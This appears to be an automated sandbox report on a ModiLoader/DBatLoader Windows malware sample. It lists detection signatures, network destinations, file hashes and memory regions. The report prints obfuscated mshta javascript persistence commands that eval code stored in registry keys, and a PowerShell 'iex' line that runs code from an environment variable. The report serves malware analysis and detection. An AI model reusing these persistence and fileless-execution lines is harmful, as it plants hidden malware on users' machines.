Analysis Overview
SHA256
14a737941a547cce90d0b670863658693d7d6660cc36c102bccf8ef741848bff
Threat Level: Known bad
The file 2ba1c0b0c9458f637f49dfb4e8df4af8_JaffaCakes118 was found to be: Known bad.
Malicious Activity Summary
ModiLoader, DBatLoader
Process spawned unexpected child process
Looks for VirtualBox drivers on disk
Checks for common network interception software
Looks for VirtualBox Guest Additions in registry
ModiLoader Second Stage
Looks for VMWare Tools registry key
Drops startup file
Deletes itself
Checks BIOS information in registry
Adds Run key to start application
Maps connected drives based on registry
Suspicious use of SetThreadContext
Drops file in System32 directory
Enumerates physical storage devices
Enumerates system info in registry
Suspicious behavior: MapViewOfSection
Suspicious use of AdjustPrivilegeToken
Suspicious behavior: EnumeratesProcesses
Checks processor information in registry
Modifies registry class
Suspicious use of WriteProcessMemory
Modifies Internet Explorer settings
MITRE ATT&CK
Enterprise Matrix V15
Analysis: static1
Detonation Overview
Reported
2024-05-09 20:46
Signatures
Analysis: behavioral1
Detonation Overview
Submitted
2024-05-09 20:46
Reported
2024-05-09 20:49
Platform
win7-20240221-en
Max time kernel
149s
Max time network
149s
Command Line
Signatures
ModiLoader, DBatLoader
Process spawned unexpected child process
| Description | Indicator | Process | Target |
| Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process | N/A | C:\Windows\system32\mshta.exe |
Checks for common network interception software
Looks for VirtualBox Guest Additions in registry
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Oracle\VirtualBox Guest Additions | C:\Windows\SysWOW64\regsvr32.exe | N/A |
Looks for VirtualBox drivers on disk
| Description | Indicator | Process | Target |
| File opened (read-only) | C:\WINDOWS\SysWOW64\drivers\VBoxMouse.sys | C:\Windows\SysWOW64\regsvr32.exe | N/A |
ModiLoader Second Stage
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Looks for VMWare Tools registry key
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\VMware, Inc.\VMware Tools | C:\Windows\SysWOW64\regsvr32.exe | N/A |
Checks BIOS information in registry
| Description | Indicator | Process | Target |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion | C:\Windows\SysWOW64\regsvr32.exe | N/A |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion | C:\Windows\SysWOW64\regsvr32.exe | N/A |
Deletes itself
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\regsvr32.exe | N/A |
Drops startup file
| Description | Indicator | Process | Target |
| File created | C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\54b061.lnk | C:\Windows\SysWOW64\regsvr32.exe | N/A |
Adds Run key to start application
| Description | Indicator | Process | Target |
| Set value (str) | \REGISTRY\USER\S-1-5-21-2297530677-1229052932-2803917579-1000\Software\Microsoft\Windows\CurrentVersion\Run\ = "\"C:\\Users\\Admin\\AppData\\Local\\529d1c\\1bcd8a.lnk\"" | C:\Windows\SysWOW64\regsvr32.exe | N/A |
| Set value (str) | \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\ = "\"C:\\Windows\\system32\\mshta.exe\" javascript:b7obf3iTc=\"5\";k7S0=new%20ActiveXObject(\"WScript.Shell\");i2WxEJPi=\"UHOhS\";dl8Zu=k7S0.RegRead(\"HKLM\\\\software\\\\Wow6432Node\\\\jvvo\\\\xbawnqo\");brKhW5p=\"te4\";eval(dl8Zu);tY6zoEii=\"k4ZSx4j\";" | C:\Windows\SysWOW64\regsvr32.exe | N/A |
| Set value (str) | \REGISTRY\USER\S-1-5-21-2297530677-1229052932-2803917579-1000\Software\Microsoft\Windows\CurrentVersion\Run\ = "\"C:\\Windows\\system32\\mshta.exe\" javascript:X3Shre=\"unho6VL\";p9x0=new%20ActiveXObject(\"WScript.Shell\");B6rzn7wLx=\"tavfUY6\";sLF3V=p9x0.RegRead(\"HKCU\\\\software\\\\jvvo\\\\xbawnqo\");P9F2qI=\"Tl\";eval(sLF3V);LB4Ur=\"s8s\";" | C:\Windows\SysWOW64\regsvr32.exe | N/A |
Maps connected drives based on registry
| Description | Indicator | Process | Target |
| Key value queried | \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\Disk\Enum\0 | C:\Windows\SysWOW64\regsvr32.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Disk\Enum | C:\Windows\SysWOW64\regsvr32.exe | N/A |
Drops file in System32 directory
| Description | Indicator | Process | Target |
| File opened for modification | C:\Windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of SetThreadContext
| Description | Indicator | Process | Target |
| PID 1676 set thread context of 2876 | N/A | C:\Users\Admin\AppData\Local\Temp\2ba1c0b0c9458f637f49dfb4e8df4af8_JaffaCakes118.exe | C:\Users\Admin\AppData\Local\Temp\2ba1c0b0c9458f637f49dfb4e8df4af8_JaffaCakes118.exe |
| PID 2204 set thread context of 2148 | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | C:\Windows\SysWOW64\regsvr32.exe |
| PID 2148 set thread context of 2376 | N/A | C:\Windows\SysWOW64\regsvr32.exe | C:\Windows\SysWOW64\regsvr32.exe |
Enumerates physical storage devices
Modifies Internet Explorer settings
| Description | Indicator | Process | Target |
| Key created | \REGISTRY\USER\S-1-5-21-2297530677-1229052932-2803917579-1000\Software\Microsoft\Internet Explorer\Main\FeatureControl | C:\Windows\SysWOW64\regsvr32.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-21-2297530677-1229052932-2803917579-1000\Software\Microsoft\Internet Explorer\International | C:\Windows\SysWOW64\regsvr32.exe | N/A |
Modifies registry class
| Description | Indicator | Process | Target |
| Key created | \REGISTRY\USER\S-1-5-21-2297530677-1229052932-2803917579-1000_CLASSES\.cbe78f1 | C:\Windows\SysWOW64\regsvr32.exe | N/A |
| Set value (str) | \REGISTRY\USER\S-1-5-21-2297530677-1229052932-2803917579-1000_CLASSES\.cbe78f1\ = "ed42e7" | C:\Windows\SysWOW64\regsvr32.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-21-2297530677-1229052932-2803917579-1000_CLASSES\ed42e7 | C:\Windows\SysWOW64\regsvr32.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-21-2297530677-1229052932-2803917579-1000_CLASSES\ed42e7\shell | C:\Windows\SysWOW64\regsvr32.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-21-2297530677-1229052932-2803917579-1000_CLASSES\ed42e7\shell\open | C:\Windows\SysWOW64\regsvr32.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-21-2297530677-1229052932-2803917579-1000_CLASSES\ed42e7\shell\open\command | C:\Windows\SysWOW64\regsvr32.exe | N/A |
| Set value (str) | \REGISTRY\USER\S-1-5-21-2297530677-1229052932-2803917579-1000_CLASSES\ed42e7\shell\open\command\ = "\"C:\\Windows\\system32\\mshta.exe\" \"javascript:ELDUVz18=\"e\";XZ30=new ActiveXObject(\"WScript.Shell\");BC1maznz=\"SHiLD7\";ATsF5=XZ30.RegRead(\"HKCU\\\\software\\\\jvvo\\\\xbawnqo\");eoi0WHMu=\"j6BwOw2\";eval(ATsF5);wx0tPUo4z=\"dgTw05\";\"" | C:\Windows\SysWOW64\regsvr32.exe | N/A |
Suspicious behavior: EnumeratesProcesses
Suspicious behavior: MapViewOfSection
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\regsvr32.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of WriteProcessMemory
Processes
C:\Users\Admin\AppData\Local\Temp\2ba1c0b0c9458f637f49dfb4e8df4af8_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\2ba1c0b0c9458f637f49dfb4e8df4af8_JaffaCakes118.exe"
C:\Users\Admin\AppData\Local\Temp\2ba1c0b0c9458f637f49dfb4e8df4af8_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\2ba1c0b0c9458f637f49dfb4e8df4af8_JaffaCakes118.exe"
C:\Windows\system32\mshta.exe
"C:\Windows\system32\mshta.exe" javascript:RT65vb="B";C2V=new%20ActiveXObject("WScript.Shell");UzYih4Q6D="MZN78KQy";TQky4=C2V.RegRead("HKLM\\software\\Wow6432Node\\5dxZ04D\\qNMjlX");ZEep7wV7="tTe2";eval(TQky4);sPakz1S="jtsi";
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" iex $env:liuqexb
C:\Windows\SysWOW64\regsvr32.exe
regsvr32.exe
C:\Windows\SysWOW64\regsvr32.exe
"C:\Windows\SysWOW64\regsvr32.exe"
Network
| Country | Destination | Domain | Proto |
| US | 138.65.161.70:80 | tcp | |
| EC | 192.207.67.12:443 | tcp | |
| US | 32.37.144.77:80 | tcp | |
| KR | 119.202.202.227:80 | tcp | |
| RU | 79.111.248.18:80 | tcp | |
| NG | 41.58.97.68:80 | tcp | |
| US | 64.250.156.133:80 | tcp | |
| US | 135.179.255.164:80 | tcp | |
| US | 29.108.27.163:80 | tcp | |
| US | 128.218.115.123:80 | tcp | |
| KR | 221.156.245.170:80 | tcp | |
| JP | 103.2.53.221:8080 | tcp | |
| US | 69.27.188.223:80 | tcp | |
| CA | 156.44.79.10:80 | tcp | |
| TH | 49.231.190.62:80 | tcp | |
| ES | 89.6.3.73:80 | tcp | |
| US | 66.158.124.68:80 | tcp | |
| US | 22.231.139.214:80 | tcp | |
| KR | 3.38.2.239:80 | tcp | |
| TN | 196.235.26.184:8080 | tcp | |
| US | 207.172.15.42:80 | tcp | |
| FR | 145.238.116.238:443 | tcp | |
| US | 57.125.82.84:80 | tcp | |
| CN | 106.225.188.34:80 | tcp | |
| US | 35.100.213.170:80 | tcp | |
| US | 209.71.125.213:80 | tcp | |
| US | 166.199.130.217:80 | tcp | |
| US | 66.118.192.228:8080 | tcp | |
| SE | 147.14.207.129:8080 | tcp | |
| IN | 103.5.188.147:80 | tcp | |
| US | 208.84.47.79:80 | tcp | |
| JP | 106.137.129.171:80 | tcp | |
| TR | 78.186.173.174:80 | tcp | |
| US | 170.241.228.249:80 | tcp | |
| US | 12.134.159.239:8080 | tcp | |
| JP | 157.69.73.126:80 | tcp | |
| PE | 45.237.174.195:443 | tcp | |
| JP | 133.133.24.249:80 | tcp | |
| CN | 36.22.16.200:80 | tcp | |
| US | 207.42.7.176:80 | tcp | |
| JP | 126.202.197.254:80 | tcp | |
| US | 24.187.200.93:80 | tcp | |
| TR | 91.191.170.72:80 | tcp | |
| DE | 93.219.191.187:80 | tcp | |
| KR | 222.101.108.59:8080 | tcp | |
| KR | 124.57.192.132:80 | tcp | |
| US | 215.75.152.158:80 | tcp | |
| US | 15.95.28.137:80 | tcp | |
| US | 71.243.155.172:80 | tcp | |
| US | 99.42.110.115:8080 | tcp | |
| IE | 57.194.65.214:80 | tcp | |
| JP | 164.43.12.195:8080 | tcp | |
| IT | 79.38.225.159:80 | tcp | |
| NO | 158.150.236.158:80 | tcp | |
| DE | 185.134.45.77:443 | tcp | |
| PL | 37.128.20.58:80 | tcp | |
| US | 208.170.46.74:80 | tcp | |
| US | 64.92.163.116:80 | tcp | |
| CN | 123.78.75.65:80 | tcp | |
| NL | 94.208.255.141:80 | tcp | |
| US | 150.125.242.135:80 | tcp | |
| US | 130.53.68.126:80 | tcp | |
| US | 63.242.49.134:80 | tcp | |
| US | 170.15.245.192:80 | tcp | |
| US | 23.180.1.207:80 | tcp | |
| US | 174.158.137.16:80 | tcp | |
| RU | 82.112.185.37:443 | tcp | |
| CN | 112.48.16.245:80 | tcp | |
| TW | 120.106.12.128:80 | tcp | |
| US | 135.158.213.196:80 | tcp | |
| DE | 5.231.245.225:80 | tcp | |
| CN | 117.167.2.182:80 | tcp | |
| US | 33.252.240.46:80 | tcp | |
| AU | 20.40.162.56:443 | tcp | |
| US | 18.96.7.174:80 | tcp | |
| JP | 42.147.90.243:80 | tcp | |
| CN | 42.225.238.22:80 | tcp | |
| US | 97.4.120.157:80 | tcp | |
| US | 216.125.250.137:80 | tcp | |
| IT | 2.46.151.59:8080 | tcp | |
| US | 135.31.154.235:80 | tcp | |
| CN | 150.248.255.28:80 | tcp | |
| IN | 103.62.249.53:80 | tcp | |
| CA | 142.37.28.170:80 | tcp | |
| GB | 81.101.189.158:80 | tcp | |
| US | 134.172.194.10:80 | tcp | |
| BR | 201.12.74.172:443 | tcp | |
| US | 65.110.89.81:80 | tcp | |
| FR | 40.66.54.202:80 | tcp | |
| GB | 31.115.168.90:80 | tcp | |
| SE | 13.50.54.100:443 | tcp | |
| US | 172.242.79.24:80 | tcp | |
| US | 7.132.124.110:80 | tcp | |
| AU | 119.9.38.243:80 | tcp | |
| US | 208.121.30.242:80 | tcp | |
| US | 29.149.197.145:80 | tcp | |
| ID | 39.250.94.68:80 | tcp | |
| NL | 80.127.133.59:80 | tcp | |
| US | 65.132.207.7:8080 | tcp | |
| UA | 176.120.47.63:80 | tcp | |
| BR | 177.156.128.96:80 | tcp | |
| US | 40.156.139.34:80 | tcp | |
| US | 215.130.69.91:80 | tcp | |
| CN | 103.25.21.92:80 | tcp | |
| DE | 81.11.10.134:80 | tcp | |
| US | 18.242.146.178:80 | tcp | |
| US | 52.2.35.204:8080 | tcp | |
| US | 7.135.215.193:80 | tcp | |
| US | 214.217.198.254:80 | tcp | |
| US | 12.13.95.226:80 | tcp | |
| US | 29.182.22.176:80 | tcp | |
| MX | 189.187.172.79:8080 | tcp | |
| DE | 2.240.134.246:80 | tcp | |
| US | 167.201.171.168:8080 | tcp | |
| IT | 37.163.194.109:80 | tcp | |
| NL | 52.233.163.34:80 | tcp | |
| DE | 91.17.162.126:80 | tcp | |
| US | 66.251.43.181:80 | tcp | |
| KR | 175.204.235.65:80 | tcp | |
| RU | 109.248.138.160:80 | tcp | |
| US | 167.86.65.209:80 | tcp | |
| US | 99.84.175.44:80 | tcp | |
| US | 32.235.69.92:80 | tcp | |
| IR | 151.232.204.155:443 | tcp | |
| US | 99.84.175.44:80 | 99.84.175.44 | tcp |
| KR | 1.223.219.160:80 | tcp | |
| FR | 83.204.2.220:80 | tcp | |
| CR | 186.32.197.252:80 | tcp | |
| CN | 42.128.196.109:80 | tcp | |
| JP | 133.202.121.132:80 | tcp | |
| US | 40.228.109.122:80 | tcp | |
| TR | 88.246.193.221:80 | tcp | |
| CN | 59.235.96.84:80 | tcp | |
| US | 8.62.128.48:80 | tcp | |
| US | 71.118.155.200:80 | tcp | |
| GB | 139.143.186.111:80 | tcp | |
| AR | 179.40.197.20:8080 | tcp | |
| CN | 36.116.212.136:80 | tcp | |
| CU | 152.207.184.151:443 | tcp | |
| US | 65.225.217.190:8080 | tcp | |
| US | 16.228.185.113:80 | tcp | |
| US | 151.142.224.127:80 | tcp | |
| CN | 124.74.5.54:80 | tcp | |
| CN | 8.131.152.62:80 | tcp | |
| US | 204.68.157.201:80 | tcp | |
| US | 149.64.7.107:80 | tcp |
Files
memory/1676-0-0x0000000074841000-0x0000000074842000-memory.dmp
memory/1676-9-0x0000000074840000-0x0000000074DEB000-memory.dmp
memory/1676-8-0x0000000074840000-0x0000000074DEB000-memory.dmp
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\94308059B57B3142E455B38A6EB92015
| MD5 | 29f65ba8e88c063813cc50a4ea544e93 |
| SHA1 | 05a7040d5c127e68c25d81cc51271ffb8bef3568 |
| SHA256 | 1ed81fa8dfb6999a9fedc6e779138ffd99568992e22d300acd181a6d2c8de184 |
| SHA512 | e29b2e92c496245bed3372578074407e8ef8882906ce10c35b3c8deebfefe01b5fd7f3030acaa693e175f4b7aca6cd7d8d10ae1c731b09c5fa19035e005de3aa |
C:\Users\Admin\AppData\Local\Temp\Tar24B7.tmp
| MD5 | 435a9ac180383f9fa094131b173a2f7b |
| SHA1 | 76944ea657a9db94f9a4bef38f88c46ed4166983 |
| SHA256 | 67dc37ed50b8e63272b49a254a6039ee225974f1d767bb83eb1fd80e759a7c34 |
| SHA512 | 1a6b277611959720a9c71114957620517ad94541302f164eb872bd322292a952409bafb8bc2ac793b16ad5f25d83f8594ccff2b7834e3c2b2b941e6fc84c009a |
memory/2876-90-0x0000000000400000-0x000000000043A000-memory.dmp
memory/2876-81-0x0000000000400000-0x000000000043A000-memory.dmp
memory/2876-88-0x0000000000400000-0x000000000043A000-memory.dmp
memory/2876-92-0x0000000000920000-0x00000000009F6000-memory.dmp
memory/2876-93-0x0000000000920000-0x00000000009F6000-memory.dmp
memory/2876-97-0x0000000000920000-0x00000000009F6000-memory.dmp
memory/2876-95-0x0000000000920000-0x00000000009F6000-memory.dmp
memory/2876-94-0x0000000000920000-0x00000000009F6000-memory.dmp
memory/2876-96-0x0000000000920000-0x00000000009F6000-memory.dmp
memory/2876-98-0x0000000000920000-0x00000000009F6000-memory.dmp
memory/1676-91-0x0000000074840000-0x0000000074DEB000-memory.dmp
memory/2876-86-0x000000007EFDE000-0x000000007EFDF000-memory.dmp
memory/2876-85-0x0000000000400000-0x000000000043A000-memory.dmp
memory/2876-84-0x0000000000400000-0x000000000043A000-memory.dmp
memory/2876-83-0x0000000000400000-0x000000000043A000-memory.dmp
memory/2876-82-0x0000000000400000-0x000000000043A000-memory.dmp
memory/2876-99-0x0000000000920000-0x00000000009F6000-memory.dmp
memory/2876-102-0x0000000000920000-0x00000000009F6000-memory.dmp
memory/2204-106-0x0000000006370000-0x0000000006446000-memory.dmp
memory/2148-108-0x0000000000110000-0x0000000000251000-memory.dmp
memory/2148-107-0x0000000000110000-0x0000000000251000-memory.dmp
memory/2148-118-0x0000000000110000-0x0000000000251000-memory.dmp
memory/2148-117-0x0000000000110000-0x0000000000251000-memory.dmp
memory/2148-116-0x0000000000110000-0x0000000000251000-memory.dmp
memory/2148-115-0x0000000000110000-0x0000000000251000-memory.dmp
memory/2148-114-0x0000000000110000-0x0000000000251000-memory.dmp
memory/2148-113-0x0000000000110000-0x0000000000251000-memory.dmp
memory/2148-112-0x0000000000110000-0x0000000000251000-memory.dmp
memory/2148-111-0x0000000000110000-0x0000000000251000-memory.dmp
memory/2204-110-0x0000000006370000-0x0000000006446000-memory.dmp
memory/2148-121-0x0000000000110000-0x0000000000251000-memory.dmp
memory/2148-120-0x0000000000110000-0x0000000000251000-memory.dmp
memory/2148-119-0x0000000000110000-0x0000000000251000-memory.dmp
memory/2148-122-0x0000000000110000-0x0000000000251000-memory.dmp
memory/2148-124-0x0000000000110000-0x0000000000251000-memory.dmp
memory/2148-123-0x0000000000110000-0x0000000000251000-memory.dmp
memory/2148-143-0x0000000000110000-0x0000000000251000-memory.dmp
memory/2148-142-0x0000000000110000-0x0000000000251000-memory.dmp
memory/2148-150-0x0000000000110000-0x0000000000251000-memory.dmp
memory/2148-141-0x0000000000110000-0x0000000000251000-memory.dmp
memory/2148-140-0x0000000000110000-0x0000000000251000-memory.dmp
memory/2148-139-0x0000000000110000-0x0000000000251000-memory.dmp
memory/2148-138-0x0000000000110000-0x0000000000251000-memory.dmp
memory/2148-133-0x0000000000110000-0x0000000000251000-memory.dmp
memory/2148-132-0x0000000000110000-0x0000000000251000-memory.dmp
memory/2148-131-0x0000000000110000-0x0000000000251000-memory.dmp
memory/2148-130-0x0000000000110000-0x0000000000251000-memory.dmp
memory/2148-129-0x0000000000110000-0x0000000000251000-memory.dmp
memory/2148-128-0x0000000000110000-0x0000000000251000-memory.dmp
memory/2148-127-0x0000000000110000-0x0000000000251000-memory.dmp
memory/2148-126-0x0000000000110000-0x0000000000251000-memory.dmp
memory/2148-125-0x0000000000110000-0x0000000000251000-memory.dmp
memory/2376-162-0x00000000000D0000-0x0000000000211000-memory.dmp
memory/2376-160-0x00000000000D0000-0x0000000000211000-memory.dmp
memory/2376-161-0x00000000000D0000-0x0000000000211000-memory.dmp
memory/2376-159-0x00000000000D0000-0x0000000000211000-memory.dmp
memory/2376-158-0x00000000000D0000-0x0000000000211000-memory.dmp
memory/2376-157-0x00000000000D0000-0x0000000000211000-memory.dmp
memory/2376-156-0x00000000000D0000-0x0000000000211000-memory.dmp
memory/2376-154-0x00000000000D0000-0x0000000000211000-memory.dmp
memory/2376-152-0x00000000000D0000-0x0000000000211000-memory.dmp
memory/2376-155-0x00000000000D0000-0x0000000000211000-memory.dmp
memory/2376-153-0x00000000000D0000-0x0000000000211000-memory.dmp
memory/2376-151-0x00000000000D0000-0x0000000000211000-memory.dmp
memory/2876-189-0x0000000000920000-0x00000000009F6000-memory.dmp
C:\Users\Admin\AppData\Local\529d1c\4bd7f2.bat
| MD5 | 7f145f9c460ee7bb55a3e7ad72a65f86 |
| SHA1 | 39a73f2119c72ae27a166fff9ceb13859f6ac21b |
| SHA256 | 16e3704ce7a5f142fe817cd42cf9fd214341caf20a284c439457feb84515ddad |
| SHA512 | 1bfbf2931d904ae08d6552267b918e8f7e6cce6d142f0c950c74e2e601dc3cf36428fcddf67ad3cae1acb565edf4871c0c3c165be88c34d3c81b68b8d7c1a75f |
C:\Users\Admin\AppData\Roaming\4f4be6\d3bc4d.cbe78f1
| MD5 | f8b28811957a511896368d4ce846be65 |
| SHA1 | 6912b736b99f8ea62aabbf2f7a37ad84f98408ba |
| SHA256 | 1545b2eb63c0c5abb6929c973be838f2c7158ddf5925cb931a079a634c04e30e |
| SHA512 | 444587ed231ae9b763b9d834d4e3e609c5380d95ea6eeca1a9f856ab989551e289df581e7c2ab7c8388679681867f9a48aa0f03e88aa64ba977b4104eea1f9cf |
C:\Users\Admin\AppData\Local\529d1c\1bcd8a.lnk
| MD5 | 7456158805a081526af24c02a7a6ae6d |
| SHA1 | 36db31bb5c4fd4a0ec3ed2d18ee9a94a0c256a2a |
| SHA256 | 92f81b0a82837322ec028154795ddddb8f9464f2a140a9b492b786e255f90637 |
| SHA512 | 3b4eb5b8eaaad5f6d38bad47ef5be8508e679e84f1191c0f02abb85d90fc1f176170dda2f0e95d255362227c7eb2dab3a833876b8a2077b39cad77b2fc935c6e |
C:\Users\Admin\AppData\Local\529d1c\7fd902.cbe78f1
| MD5 | acd095cf322000838c36a72fa096a459 |
| SHA1 | 140f80c3d1d01eebdce25209178a6e4f4537cbbd |
| SHA256 | 7bc51e006dd0d7eedbb9f0eef93217df2d3fab66063adbc0bde2f2022fa30c3b |
| SHA512 | 28f76377d1b9b42ae59ab79a81ef765e47340dc5866f9dbb898d568b32f53014ab6ff0517f2d1ddcf1957db3ada5b588bdfd22c6a331657557a128e6439deed1 |
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\54b061.lnk
| MD5 | 3f20cf8378253a2d9d05b6e0b95288ee |
| SHA1 | dbcaa66e8427bf3caef684ec46cdadea9852efcc |
| SHA256 | 5b3ea80e47b317f9ff96a1b5f279c8745614ffa8c98469db14ba26784726ea12 |
| SHA512 | 205c38b547afeca8e3165a721a831a93c0e1ae87fd15918e52db37be0bb56664b68603bbcd5b4b366eca9731f5bc9025c4d264fd9d5aa06e22a551e33e65650a |
Analysis: behavioral2
Detonation Overview
Submitted
2024-05-09 20:46
Reported
2024-05-09 20:49
Platform
win10v2004-20240508-en
Max time kernel
148s
Max time network
150s
Command Line
Signatures
Checks processor information in registry
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 | C:\Windows\Microsoft.NET\Framework\v2.0.50727\dw20.exe | N/A |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz | C:\Windows\Microsoft.NET\Framework\v2.0.50727\dw20.exe | N/A |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString | C:\Windows\Microsoft.NET\Framework\v2.0.50727\dw20.exe | N/A |
Enumerates system info in registry
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\Hardware\Description\System\BIOS | C:\Windows\Microsoft.NET\Framework\v2.0.50727\dw20.exe | N/A |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU | C:\Windows\Microsoft.NET\Framework\v2.0.50727\dw20.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeRestorePrivilege | N/A | C:\Windows\Microsoft.NET\Framework\v2.0.50727\dw20.exe | N/A |
| Token: SeBackupPrivilege | N/A | C:\Windows\Microsoft.NET\Framework\v2.0.50727\dw20.exe | N/A |
| Token: SeBackupPrivilege | N/A | C:\Windows\Microsoft.NET\Framework\v2.0.50727\dw20.exe | N/A |
| Token: SeBackupPrivilege | N/A | C:\Windows\Microsoft.NET\Framework\v2.0.50727\dw20.exe | N/A |
Suspicious use of WriteProcessMemory
| Description | Indicator | Process | Target |
| PID 2592 wrote to memory of 2360 | N/A | C:\Users\Admin\AppData\Local\Temp\2ba1c0b0c9458f637f49dfb4e8df4af8_JaffaCakes118.exe | C:\Windows\Microsoft.NET\Framework\v2.0.50727\dw20.exe |
| PID 2592 wrote to memory of 2360 | N/A | C:\Users\Admin\AppData\Local\Temp\2ba1c0b0c9458f637f49dfb4e8df4af8_JaffaCakes118.exe | C:\Windows\Microsoft.NET\Framework\v2.0.50727\dw20.exe |
| PID 2592 wrote to memory of 2360 | N/A | C:\Users\Admin\AppData\Local\Temp\2ba1c0b0c9458f637f49dfb4e8df4af8_JaffaCakes118.exe | C:\Windows\Microsoft.NET\Framework\v2.0.50727\dw20.exe |
Processes
C:\Users\Admin\AppData\Local\Temp\2ba1c0b0c9458f637f49dfb4e8df4af8_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\2ba1c0b0c9458f637f49dfb4e8df4af8_JaffaCakes118.exe"
C:\Windows\Microsoft.NET\Framework\v2.0.50727\dw20.exe
dw20.exe -x -s 964
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | 73.31.126.40.in-addr.arpa | udp |
| US | 8.8.8.8:53 | g.bing.com | udp |
| US | 204.79.197.237:443 | g.bing.com | tcp |
| BE | 88.221.83.208:443 | www.bing.com | tcp |
| US | 8.8.8.8:53 | 55.36.223.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 237.197.79.204.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 79.190.18.2.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 208.83.221.88.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 112.211.222.173.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 86.23.85.13.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 198.187.3.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 24.121.18.2.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 43.229.111.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 43.56.20.217.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 12.173.189.20.in-addr.arpa | udp |
Files
memory/2592-0-0x0000000074F32000-0x0000000074F33000-memory.dmp
memory/2592-1-0x0000000074F30000-0x00000000754E1000-memory.dmp
memory/2592-2-0x0000000074F30000-0x00000000754E1000-memory.dmp
memory/2592-3-0x0000000074F30000-0x00000000754E1000-memory.dmp
memory/2592-10-0x0000000074F30000-0x00000000754E1000-memory.dmp